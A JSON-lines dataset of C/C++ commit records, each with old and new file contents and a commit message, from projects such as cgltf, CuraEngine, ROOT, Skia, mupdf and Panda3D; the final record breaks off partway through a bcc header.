{"commit":"6bc2c3564661acd3ebbd00843a8c09d5944a1da0","old_file":"fuzz\/main.c","new_file":"fuzz\/main.c","old_contents":"\/* How to fuzz:\n\nclang main.c -O2 -g -fsanitize=address,fuzzer -o fuzz\ncp -r data temp\n.\/fuzz temp\/ -dict=gltf.dict -jobs=12 -workers=12\n\n*\/\n#define CGLTF_IMPLEMENTATION\n#include \"..\/cgltf.h\"\n\nint LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size)\n{\n\tcgltf_options options = {0};\n\tcgltf_data* data = NULL;\n\tcgltf_result res = cgltf_parse(&options, Data, Size, &data);\n\tif (res == cgltf_result_success)\n\t{\n\t\tcgltf_validate(data);\n\t\tcgltf_free(data);\n\t}\n\treturn 0;\n}\n","new_contents":"\/* How to fuzz:\n\nclang main.c -O2 -g -fsanitize=address,fuzzer -o fuzz\ncp -r data temp\n.\/fuzz temp\/ -dict=gltf.dict -jobs=12 -workers=12\n\n*\/\n#define CGLTF_IMPLEMENTATION\n#include \"..\/cgltf.h\"\n\nint LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size)\n{\n\tcgltf_options options = {cgltf_file_type_invalid};\n\tcgltf_data* data = NULL;\n\tcgltf_result res = cgltf_parse(&options, Data, Size, &data);\n\tif (res == cgltf_result_success)\n\t{\n\t\tcgltf_validate(data);\n\t\tcgltf_free(data);\n\t}\n\treturn 0;\n}\n","subject":"Fix fuzzer to compile in C++ mode","message":"fuzz: Fix fuzzer to compile in C++ mode\n","lang":"C","license":"mit","repos":"jkuhlmann\/cgltf,jkuhlmann\/cgltf,jkuhlmann\/cgltf"}
{"commit":"20d0fc327afebfe3be7e27725e3ed51bb54cbf42","old_file":"src\/settings\/types\/LayerIndex.h","new_file":"src\/settings\/types\/LayerIndex.h","old_contents":"\/\/Copyright (c) 2018 Ultimaker B.V.\n\/\/CuraEngine is released under the terms of the AGPLv3 or higher.\n\n#ifndef LAYERINDEX_H\n#define LAYERINDEX_H\n\nnamespace cura\n{\n\n\/*\n * Struct behaving like a layer number.\n *\n * This is a facade. It behaves exactly like an integer but is used to indicate\n * that it is a layer number.\n *\/\nstruct LayerIndex\n{\n    \/*\n     * Casts an integer to a LayerIndex instance.\n     *\/\n    LayerIndex(int value) : value(value) {};\n\n    \/*\n     * Casts the LayerIndex instance to an integer.\n     *\/\n    operator int() const\n    {\n        return value;\n    }\n\n    \/*\n     * The actual layer index.\n     *\n     * Note that this could be negative for raft layers.\n     *\/\n    int value = 0;\n};\n\n}\n\n#endif \/\/LAYERINDEX_H","new_contents":"\/\/Copyright (c) 2018 Ultimaker B.V.\n\/\/CuraEngine is released under the terms of the AGPLv3 or higher.\n\n#ifndef LAYERINDEX_H\n#define LAYERINDEX_H\n\nnamespace cura\n{\n\n\/*\n * Struct behaving like a layer number.\n *\n * This is a facade. It behaves exactly like an integer but is used to indicate\n * that it is a layer number.\n *\/\nstruct LayerIndex\n{\n    \/*\n     * Casts an integer to a LayerIndex instance.\n     *\/\n    LayerIndex(int value) : value(value) {};\n\n    \/*\n     * Casts the LayerIndex instance to an integer.\n     *\/\n    operator int() const\n    {\n        return value;\n    }\n\n    LayerIndex operator +(const LayerIndex& other) const\n    {\n        return LayerIndex(value + other.value);\n    }\n\n    LayerIndex operator -(const LayerIndex& other) const\n    {\n        return LayerIndex(value - other.value);\n    }\n\n    LayerIndex& operator +=(const LayerIndex& other)\n    {\n        value += other.value;\n        return *this;\n    }\n\n    LayerIndex& operator -=(const LayerIndex& other)\n    {\n        value -= other.value;\n        return *this;\n    }\n\n    \/*\n     * The actual layer index.\n     *\n     * Note that this could be negative for raft layers.\n     *\/\n    int value = 0;\n};\n\n}\n\n#endif \/\/LAYERINDEX_H","subject":"Add adding and subtracting operators","message":"Add adding and subtracting operators\n\nWe want to be able to add indexes together, to increment them, etc.\n\nContributes to issue CURA-4410.\n","lang":"C","license":"agpl-3.0","repos":"Ultimaker\/CuraEngine,Ultimaker\/CuraEngine"}
{"commit":"cf6b39580ed78e9a8e5250e8d17a7b9eab2fbf8d","old_file":"include\/token.h","new_file":"include\/token.h","old_contents":"#ifndef TOKEN_H_\r\n#define TOKEN_H_\r\n\r\n#include <iostream>\r\n#include <string>\r\n#include <vector>\r\n\r\nenum class TokenType {\r\n    NUMBER,\r\n    ADD,\r\n    SUBTRACT,\r\n    MULTIPLY,\r\n    DIVIDE,\r\n    EXPONENT,\r\n};\r\n\r\nenum class OperatorType {\r\n    NONE,\r\n    UNARY,\r\n    BINARY,\r\n    EITHER,\r\n};\r\n\r\nclass Token {\r\npublic:\r\n    static constexpr unsigned NULL_PRECEDENCE = -1;\r\n\r\n    \/\/ Operators\r\n    static const Token ADD;\r\n    static const Token SUBTRACT;\r\n    static const Token MULTIPLY;\r\n    static const Token DIVIDE;\r\n    static const Token EXPONENT;\r\n\r\n    friend bool operator==(const Token& left, const Token& right);\r\n    friend bool operator!=(const Token& left, const Token& right);\r\n    friend std::ostream& operator<<(std::ostream& out, const Token& token);\r\n\r\npublic:\r\n    Token(TokenType type, const std::string& symbol, unsigned precedence);\r\n\r\n    static const std::vector<Token>& checkable_tokens();\r\n\r\n    \/\/ Getters\r\n    TokenType type() const;\r\n    OperatorType operator_type() const;\r\n    const std::string& name() const;\r\n    const std::string& symbol() const;\r\n    double value() const;\r\n    unsigned precedence() const;\r\n\r\n    \/\/ Setters\r\n    void set_value(double value);\r\n\r\nprivate:\r\n    TokenType type_;\r\n    const std::string symbol_;\r\n    double value_;\r\n    const unsigned precedence_;\r\n};\r\n\r\n#endif \/\/ TOKEN_H_","new_contents":"#ifndef TOKEN_H_\r\n#define TOKEN_H_\r\n\r\n#include <iostream>\r\n#include <string>\r\n#include <vector>\r\n\r\nenum class TokenType {\r\n    NUMBER,\r\n    ADD,\r\n    SUBTRACT,\r\n    MULTIPLY,\r\n    DIVIDE,\r\n    EXPONENT,\r\n};\r\n\r\nenum class OperatorType {\r\n    NONE,\r\n    UNARY,\r\n    BINARY,\r\n    EITHER,\r\n};\r\n\r\nclass Token {\r\npublic:\r\n    static constexpr unsigned NULL_PRECEDENCE = 0;\r\n\r\n    \/\/ Operators\r\n    static const Token ADD;\r\n    static const Token SUBTRACT;\r\n    static const Token MULTIPLY;\r\n    static const Token DIVIDE;\r\n    static const Token EXPONENT;\r\n\r\n    friend bool operator==(const Token& left, const Token& right);\r\n    friend bool operator!=(const Token& left, const Token& right);\r\n    friend std::ostream& operator<<(std::ostream& out, const Token& token);\r\n\r\npublic:\r\n    Token(TokenType type, const std::string& symbol, unsigned precedence);\r\n\r\n    static const std::vector<Token>& checkable_tokens();\r\n\r\n    \/\/ Getters\r\n    TokenType type() const;\r\n    OperatorType operator_type() const;\r\n    const std::string& name() const;\r\n    const std::string& symbol() const;\r\n    double value() const;\r\n    unsigned precedence() const;\r\n\r\n    \/\/ Setters\r\n    void set_value(double value);\r\n\r\nprivate:\r\n    TokenType type_;\r\n    const std::string symbol_;\r\n    double value_;\r\n    const unsigned precedence_;\r\n};\r\n\r\n#endif \/\/ TOKEN_H_","subject":"Fix invalid null precedence value","message":"Fix invalid null precedence value\n","lang":"C","license":"mit","repos":"hkmix\/zcalc"}
{"commit":"525a09b103cec96ed831af5d6f133111db34d2fe","old_file":"kmail\/kmversion.h","new_file":"kmail\/kmversion.h","old_contents":"\/\/ KMail Version Information\n\/\/\n#ifndef kmversion_h\n#define kmversion_h\n\n#define KMAIL_VERSION \"1.9.52\"\n\n#endif \/*kmversion_h*\/\n","new_contents":"\/\/ KMail Version Information\n\/\/\n#ifndef kmversion_h\n#define kmversion_h\n\n#define KMAIL_VERSION \"1.10.0\"\n\n#endif \/*kmversion_h*\/\n","subject":"Increase version for the 4.1 release","message":"Increase version for the 4.1 release\n\nsvn path=\/trunk\/KDE\/kdepim\/; revision=827634\n","lang":"C","license":"lgpl-2.1","repos":"lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi"}
{"commit":"bae6f14d27925dab378f31a41be98bf0436c0ee3","old_file":"core\/thread\/inc\/TWin32Mutex.h","new_file":"core\/thread\/inc\/TWin32Mutex.h","old_contents":"\/\/ @(#)root\/thread:$Id$\n\/\/ Author: Bertrand Bellenot  20\/10\/2004\n\n\/*************************************************************************\n * Copyright (C) 1995-2004, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TWin32Mutex\n#define ROOT_TWin32Mutex\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TWin32Mutex                                                          \/\/\n\/\/                                                                      \/\/\n\/\/ This class provides an interface to the Win32 mutex routines.        \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"TMutexImp.h\"\n\n#include \"Windows4Root.h\"\n\n#ifdef __CINT__\nstruct CRITICAL_SECTION;\n#endif\n\nclass TWin32Mutex : public TMutexImp {\n\nfriend class TWin32Condition;\n\nprivate:\n   CRITICAL_SECTION fCritSect;\n\n   constexpr static int kIsRecursive = BIT(14);\n\npublic:\n   TWin32Mutex(Bool_t recursive=kFALSE);\n   virtual ~TWin32Mutex();\n\n   Int_t  Lock();\n   Int_t  UnLock();\n   Int_t  TryLock();\n\n   std::unique_ptr<TVirtualMutex::State> Reset();\n   void Restore(std::unique_ptr<TVirtualMutex::State> &&);\n\n   ClassDef(TWin32Mutex,0)  \/\/ Win32 mutex lock\n};\n\n#endif\n","new_contents":"\/\/ @(#)root\/thread:$Id$\n\/\/ Author: Bertrand Bellenot  20\/10\/2004\n\n\/*************************************************************************\n * Copyright (C) 1995-2004, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TWin32Mutex\n#define ROOT_TWin32Mutex\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TWin32Mutex                                                          \/\/\n\/\/                                                                      \/\/\n\/\/ This class provides an interface to the Win32 mutex routines.        \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"TMutexImp.h\"\n\n#include \"Windows4Root.h\"\n\n#ifdef __CINT__\nstruct CRITICAL_SECTION;\n#endif\n\nclass TWin32Mutex : public TMutexImp {\n\nfriend class TWin32Condition;\n\nprivate:\n   CRITICAL_SECTION fCritSect;\n\n   enum EStatusBits {\n      kIsRecursive = BIT(14);\n   }\n\npublic:\n   TWin32Mutex(Bool_t recursive=kFALSE);\n   virtual ~TWin32Mutex();\n\n   Int_t  Lock();\n   Int_t  UnLock();\n   Int_t  TryLock();\n\n   std::unique_ptr<TVirtualMutex::State> Reset();\n   void Restore(std::unique_ptr<TVirtualMutex::State> &&);\n\n   ClassDef(TWin32Mutex,0)  \/\/ Win32 mutex lock\n};\n\n#endif\n","subject":"Use a EStatusBits 'enum' instead of a 'constexpr static int' (allowing automatic checking for overlaps)","message":"Use a EStatusBits 'enum' instead of a 'constexpr static int' (allowing automatic checking for overlaps)\n","lang":"C","license":"lgpl-2.1","repos":"olifre\/root,olifre\/root,karies\/root,karies\/root,zzxuanyuan\/root,olifre\/root,karies\/root,root-mirror\/root,karies\/root,root-mirror\/root,olifre\/root,root-mirror\/root,olifre\/root,zzxuanyuan\/root,root-mirror\/root,zzxuanyuan\/root,zzxuanyuan\/root,zzxuanyuan\/root,root-mirror\/root,olifre\/root,zzxuanyuan\/root,karies\/root,zzxuanyuan\/root,root-mirror\/root,root-mirror\/root,karies\/root,olifre\/root,karies\/root,olifre\/root,karies\/root,karies\/root,karies\/root,karies\/root,root-mirror\/root,root-mirror\/root,root-mirror\/root,olifre\/root,zzxuanyuan\/root,olifre\/root,zzxuanyuan\/root,root-mirror\/root,zzxuanyuan\/root,olifre\/root,zzxuanyuan\/root,zzxuanyuan\/root"}
{"commit":"a53a81ca5adc6febb775d912e8d326c9e69f584e","old_file":"soundex.c","new_file":"soundex.c","old_contents":"#include <err.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#include \"libspell.h\"\n#include \"websters.c\"\n\nint\nmain(int argc, char **argv)\n{\n\tsize_t i;\n\tchar *soundex_code;\n\tFILE *out = fopen(\"dict\/soundex.txt\", \"w\");\n\tif (out == NULL)\n\t\terr(EXIT_FAILURE, \"Failed to open soundex\");\n\n\tfor (i = 0; i < sizeof(dict) \/ sizeof(dict[0]); i++) {\n\t\tsoundex_code = soundex(dict[i]);\n\t\tif (soundex_code == NULL) {\n\t\t\twarnx(\"No soundex code found for %s\", dict[i++]);\n\t\t\tcontinue;\n\t\t}\n\t\tfprintf(out, \"%s\\t%s\\n\", dict[i], soundex_code);\n\t\tfree(soundex_code);\n\t}\n\n\tfclose(out);\n\treturn 0;\n}\n","new_contents":"#include <err.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#include \"libspell.h\"\n#include \"websters.c\"\n\nint\nmain(int argc, char **argv)\n{\n\tsize_t i;\n\tchar *soundex_code;\n\tFILE *out = fopen(\"dict\/soundex.txt\", \"w\");\n\tif (out == NULL)\n\t\terr(EXIT_FAILURE, \"Failed to open soundex\");\n\n\tfor (i = 0; i < sizeof(dict) \/ sizeof(dict[0]); i++) {\n\t\tsoundex_code = soundex(dict[i]);\n\t\tif (soundex_code == NULL) {\n\t\t\twarnx(\"No soundex code found for %s\", dict[i++]);\n\t\t\tcontinue;\n\t\t}\n\t\tfprintf(out, \"%s\\t%s\\n\", soundex_code, dict[i]);\n\t\tfree(soundex_code);\n\t}\n\n\tfclose(out);\n\treturn 0;\n}\n","subject":"Change the order of the strings","message":"Change the order of the strings\n\nFirst we should output the soundex code and then the string\n(makes the parsing of the file easier)\n","lang":"C","license":"bsd-2-clause","repos":"abhinav-upadhyay\/nbspell,abhinav-upadhyay\/nbspell"}
{"commit":"242f3f553ce88a199ac05761b504f17be4c0dc34","old_file":"strdump.c","new_file":"strdump.c","old_contents":"","new_contents":"\/* strdump.c -- similar to hexdump but with ascii strings *\/\n\n#include <stdio.h>\n#include <string.h>\n\nint\nstrdump(FILE *fo, FILE *fi)\n{\n    int c, n;\n\n    n = 0;\n    fputs(\"\\\"\", fo);\n    c = fgetc(fi);\n    while (c != -1)\n    {\n\tif (c == '\\n' || c == '\\r')\n\t    fputs(\"\\\\n\\\"\\n\\\"\", fo);\n\telse\n\t    putc(c, fo);\n\tc = fgetc(fi);\n\tn ++;\n    }\n    fputs(\"\\\"\\n\", fo);\n    return n;\n}\n\n\nint\nmain(int argc, char **argv)\n{\n    FILE *fo;\n    FILE *fi;\n    char name[256];\n    char *realname;\n    char *p;\n    int i, len;\n\n    if (argc < 3)\n    {\n\tfprintf(stderr, \"usage: hexdump output.c input.dat\\n\");\n\treturn 1;\n    }\n\n    fo = fopen(argv[1], \"wb\");\n    if (!fo)\n    {\n\tfprintf(stderr, \"hexdump: could not open output file\\n\");\n\treturn 1;\n    }\n\n    for (i = 2; i < argc; i++)\n    {\n\tfi = fopen(argv[i], \"rb\");\n\tif (!fi)\n\t{\n\t    fprintf(stderr, \"hexdump: could not open input file\\n\");\n\t    return 1;\n\t}\n\n\trealname = strrchr(argv[i], '\/');\n\tif (!realname)\n\t    realname = strrchr(argv[i], '\\\\');\n\tif (realname)\n\t    realname ++;\n\telse\n\t    realname = argv[i];\n\n\tstrcpy(name, argv[i]);\n\tp = name;\n\twhile (*p)\n\t{\n\t    if ((*p == '\/') || (*p == '.') || (*p == '\\\\') || (*p == '-'))\n\t\t*p = '_';\n\t    p ++;\n\t}\n\n\tfprintf(fo, \"const char %s_name[] = \\\"%s\\\";\\n\", name, realname);\n\tfprintf(fo, \"const char %s_buf[] = {\\n\", name);\n\n\tlen = strdump(fo, fi);\n\n\tfprintf(fo, \"};\\n\");\n\tfprintf(fo, \"const int %s_len = %d;\\n\", name, len);\n\tfprintf(fo, \"\\n\");\n\n\tfclose(fi);\n    }\n\n    return 0;\n}\n\n","subject":"Add a tool similar to hexdump, but for text files.","message":"Add a tool similar to hexdump, but for text files.\n\ndarcs-hash:20090227165810-f546f-864c54eceb4d3d2de9a4f441b0b5e529747898ed.gz\n","lang":"C","license":"agpl-3.0","repos":"nqv\/mupdf,nqv\/mupdf,nqv\/mupdf,nqv\/mupdf,nqv\/mupdf,nqv\/mupdf"}
{"commit":"ffa8484eb0610048a0e8cc4f1594fd9607c5b555","old_file":"include\/effects\/SkXfermodeImageFilter.h","new_file":"include\/effects\/SkXfermodeImageFilter.h","old_contents":"\/*\n * Copyright 2013 The Android Open Source Project\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkXfermodeImageFilter_DEFINED\n#define SkXfermodeImageFilter_DEFINED\n\n#include \"SkArithmeticImageFilter.h\"\n#include \"SkBlendMode.h\"\n#include \"SkImageFilter.h\"\n\n\/**\n * This filter takes a SkBlendMode, and uses it to composite the foreground over the background.\n * If foreground or background is NULL, the input bitmap (src) is used instead.\n *\/\nclass SK_API SkXfermodeImageFilter {\npublic:\n    static sk_sp<SkImageFilter> Make(SkBlendMode, sk_sp<SkImageFilter> background,\n                                     sk_sp<SkImageFilter> foreground,\n                                     const SkImageFilter::CropRect* cropRect);\n    static sk_sp<SkImageFilter> Make(SkBlendMode mode, sk_sp<SkImageFilter> background) {\n        return Make(mode, std::move(background), nullptr, nullptr);\n    }\n\n    \/\/ Need to update chrome to use SkArithmeticImageFilter instead...\n    static sk_sp<SkImageFilter> MakeArithmetic(float k1, float k2, float k3, float k4,\n                                               bool enforcePMColor, sk_sp<SkImageFilter> background,\n                                               sk_sp<SkImageFilter> foreground,\n                                               const SkImageFilter::CropRect* cropRect) {\n        return SkArithmeticImageFilter::Make(k1, k2, k3, k4, enforcePMColor, std::move(background),\n                                             std::move(foreground), cropRect);\n    }\n\n    SK_DECLARE_FLATTENABLE_REGISTRAR_GROUP();\n\nprivate:\n    SkXfermodeImageFilter();    \/\/ can't instantiate\n};\n\n#endif\n","new_contents":"\/*\n * Copyright 2013 The Android Open Source Project\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkXfermodeImageFilter_DEFINED\n#define SkXfermodeImageFilter_DEFINED\n\n#include \"SkArithmeticImageFilter.h\"\n#include \"SkBlendMode.h\"\n#include \"SkImageFilter.h\"\n\n\/**\n * This filter takes a SkBlendMode, and uses it to composite the foreground over the background.\n * If foreground or background is NULL, the input bitmap (src) is used instead.\n *\/\nclass SK_API SkXfermodeImageFilter {\npublic:\n    static sk_sp<SkImageFilter> Make(SkBlendMode, sk_sp<SkImageFilter> background,\n                                     sk_sp<SkImageFilter> foreground,\n                                     const SkImageFilter::CropRect* cropRect);\n    static sk_sp<SkImageFilter> Make(SkBlendMode mode, sk_sp<SkImageFilter> background) {\n        return Make(mode, std::move(background), nullptr, nullptr);\n    }\n\n    SK_DECLARE_FLATTENABLE_REGISTRAR_GROUP();\n\nprivate:\n    SkXfermodeImageFilter();    \/\/ can't instantiate\n};\n\n#endif\n","subject":"Revert \"Revert \"remove unused api on xfermodeimagefilter\"\"","message":"Revert \"Revert \"remove unused api on xfermodeimagefilter\"\"\n\nThis reverts commit 369f7eaeb06f21b1cb15e3dd3204ed883c5376f5.\n\nReason for revert: google3 updated\n\nOriginal change's description:\n> Revert \"remove unused api on xfermodeimagefilter\"\n> \n> This reverts commit fcc4a071d9dff4f3bac0bd55dab8f69a4436d15d.\n> \n> Reason for revert: broke google3 roll.\n> \n> Original change's description:\n> > remove unused api on xfermodeimagefilter\n> > \n> > Bug: skia:\n> > Change-Id: If99ee7b4d959d728849a20ee43a0d0ec25196f58\n> > Reviewed-on: https:\/\/skia-review.googlesource.com\/20303\n> > Reviewed-by: Mike Reed <f5cabf8735907151a446812c9875d6c0c712d847@google.com>\n> > Commit-Queue: Mike Reed <f5cabf8735907151a446812c9875d6c0c712d847@google.com>\n> \n> TBR=f5cabf8735907151a446812c9875d6c0c712d847@google.com\n> No-Presubmit: true\n> No-Tree-Checks: true\n> No-Try: true\n> Bug: skia:\n> \n> Change-Id: I80e8b1e9009263a61230d22a988a9bb5ba7e162d\n> Reviewed-on: https:\/\/skia-review.googlesource.com\/20320\n> Reviewed-by: Hal Canary <halcanary@google.com>\n> Commit-Queue: Hal Canary <halcanary@google.com>\n\nTBR=halcanary@google.com,f5cabf8735907151a446812c9875d6c0c712d847@google.com\n\nChange-Id: Icaa72fe6b1586cb76b37ab88ee1950628048d4ac\nNo-Presubmit: true\nNo-Tree-Checks: true\nNo-Try: true\nBug: skia:\nReviewed-on: https:\/\/skia-review.googlesource.com\/20312\nReviewed-by: Mike Reed <f5cabf8735907151a446812c9875d6c0c712d847@google.com>\nCommit-Queue: Mike Reed <f5cabf8735907151a446812c9875d6c0c712d847@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,rubenvb\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,HalCanary\/skia-hc,rubenvb\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,google\/skia,google\/skia,rubenvb\/skia,google\/skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,google\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,rubenvb\/skia,rubenvb\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,rubenvb\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,google\/skia"}
{"commit":"e72fab9520d4e809786ddd7d6e1b6da57d546bfa","old_file":"dtool\/src\/dtoolutil\/config_dtoolutil.h","new_file":"dtool\/src\/dtoolutil\/config_dtoolutil.h","old_contents":"\/**\n * PANDA 3D SOFTWARE\n * Copyright (c) Carnegie Mellon University.  All rights reserved.\n *\n * All use of this software is subject to the terms of the revised BSD\n * license.  You should have received a copy of this license along\n * with this source code in a file named \"LICENSE.\"\n *\n * @file config_dtoolutil.h\n * @author drose\n * @date 2006-11-17\n *\/\n\n#ifndef CONFIG_DTOOLUTIL_H\n#define CONFIG_DTOOLUTIL_H\n\n#include \"dtoolbase.h\"\n\n\/\/ Include this so interrogate can find it.\n#include <iostream>\n\n#endif\n","new_contents":"\/**\n * PANDA 3D SOFTWARE\n * Copyright (c) Carnegie Mellon University.  All rights reserved.\n *\n * All use of this software is subject to the terms of the revised BSD\n * license.  You should have received a copy of this license along\n * with this source code in a file named \"LICENSE.\"\n *\n * @file config_dtoolutil.h\n * @author drose\n * @date 2006-11-17\n *\/\n\n#ifndef CONFIG_DTOOLUTIL_H\n#define CONFIG_DTOOLUTIL_H\n\n#include \"dtoolbase.h\"\n\n\/\/ Include this so interrogate can find it.\n#include <iostream>\n\nextern EXPCL_DTOOL_DTOOLUTIL void init_libdtoolutil();\n\n#endif\n","subject":"Add missing declaration for init_libdtoolutil()","message":"dtoolutil: Add missing declaration for init_libdtoolutil()\n","lang":"C","license":"bsd-3-clause","repos":"chandler14362\/panda3d,chandler14362\/panda3d,chandler14362\/panda3d,chandler14362\/panda3d,chandler14362\/panda3d,chandler14362\/panda3d,chandler14362\/panda3d,chandler14362\/panda3d,chandler14362\/panda3d,chandler14362\/panda3d"}
{"commit":"96b3dc4e1dbcc002e9d69ff6fb451909387d05e4","old_file":"libraries\/clib\/native\/Throwable.c","new_file":"libraries\/clib\/native\/Throwable.c","old_contents":"\/*\n * java.lang.Throwable.c\n *\n * Copyright (c) 1996, 1997\n *\tTransvirtual Technologies, Inc.  All rights reserved.\n *\n * See the file \"license.terms\" for information on usage and redistribution \n * of this file. \n *\/\n\n#include \"config.h\"\n#include \"config-io.h\"\n#include <assert.h>\n#include <native.h>\n#include \"java_io_FileDescriptor.h\"\n#include \"java_io_FileOutputStream.h\"\n#include \"java_io_PrintStream.h\"\n#include \"java_lang_Throwable.h\"\n#include \"..\/..\/..\/kaffe\/kaffevm\/support.h\"\n\nextern Hjava_lang_Object* buildStackTrace(void*);\nextern void printStackTrace(struct Hjava_lang_Throwable*, struct Hjava_lang_Object*);\n\n\/*\n * Fill in stack trace information - don't know what thought.\n *\/\nstruct Hjava_lang_Throwable*\njava_lang_Throwable_fillInStackTrace(struct Hjava_lang_Throwable* o)\n{\n\tunhand(o)->backtrace = buildStackTrace(0);\n\treturn (o);\n}\n\n\/*\n * Dump the stack trace to the given stream.\n *\/\nvoid\njava_lang_Throwable_printStackTrace0(struct Hjava_lang_Throwable* o, struct Hjava_lang_Object* p)\n{\n\tprintStackTrace(o, p);\n}\n","new_contents":"\/*\n * java.lang.Throwable.c\n *\n * Copyright (c) 1996, 1997\n *\tTransvirtual Technologies, Inc.  All rights reserved.\n *\n * See the file \"license.terms\" for information on usage and redistribution \n * of this file. \n *\/\n\n#include \"config.h\"\n#include \"config-io.h\"\n#include <assert.h>\n#include <native.h>\n#include \"java_io_FileDescriptor.h\"\n#include \"java_io_FileOutputStream.h\"\n#include \"java_io_PrintStream.h\"\n#include \"java_lang_Throwable.h\"\n#include \"..\/..\/..\/kaffe\/kaffevm\/support.h\"\n\nextern Hjava_lang_Object* buildStackTrace(void*);\nextern void printStackTrace(struct Hjava_lang_Throwable*, struct Hjava_lang_Object*, int);\n\n\/*\n * Fill in stack trace information - don't know what thought.\n *\/\nstruct Hjava_lang_Throwable*\njava_lang_Throwable_fillInStackTrace(struct Hjava_lang_Throwable* o)\n{\n\tunhand(o)->backtrace = buildStackTrace(0);\n\treturn (o);\n}\n\n\/*\n * Dump the stack trace to the given stream.\n *\/\nvoid\njava_lang_Throwable_printStackTrace0(struct Hjava_lang_Throwable* o, struct Hjava_lang_Object* p)\n{\n\tprintStackTrace(o, p, 0);\n}\n","subject":"Adjust for new paramter to printStackTrace().","message":"Adjust for new paramter to printStackTrace().\n","lang":"C","license":"lgpl-2.1","repos":"kaffe\/kaffe,kaffe\/kaffe,kaffe\/kaffe,kaffe\/kaffe,kaffe\/kaffe"}
{"commit":"fed5b68b9fdf3a3196ae39609b7ae217999b094f","old_file":"src\/cc\/common.h","new_file":"src\/cc\/common.h","old_contents":"\/*\n * Copyright (c) 2015 PLUMgrid, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#pragma once\n\n#include <memory>\n#include <string>\n#include <unistd.h>\n#include <vector>\n\nnamespace ebpf {\n\ntemplate <class T, class... Args>\ntypename std::enable_if<!std::is_array<T>::value, std::unique_ptr<T>>::type\nmake_unique(Args &&... args) {\n  return std::unique_ptr<T>(new T(std::forward<Args>(args)...));\n}\n\nstd::vector<int> get_online_cpus();\n\nstd::vector<int> get_possible_cpus();\n\nstd::string get_pid_exe(pid_t pid);\n\n}  \/\/ namespace ebpf\n","new_contents":"\/*\n * Copyright (c) 2015 PLUMgrid, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#pragma once\n\n#include <memory>\n#include <string>\n#include <unistd.h>\n#include <vector>\n\nnamespace ebpf {\n\n#ifdef __cpp_lib_make_unique\nusing 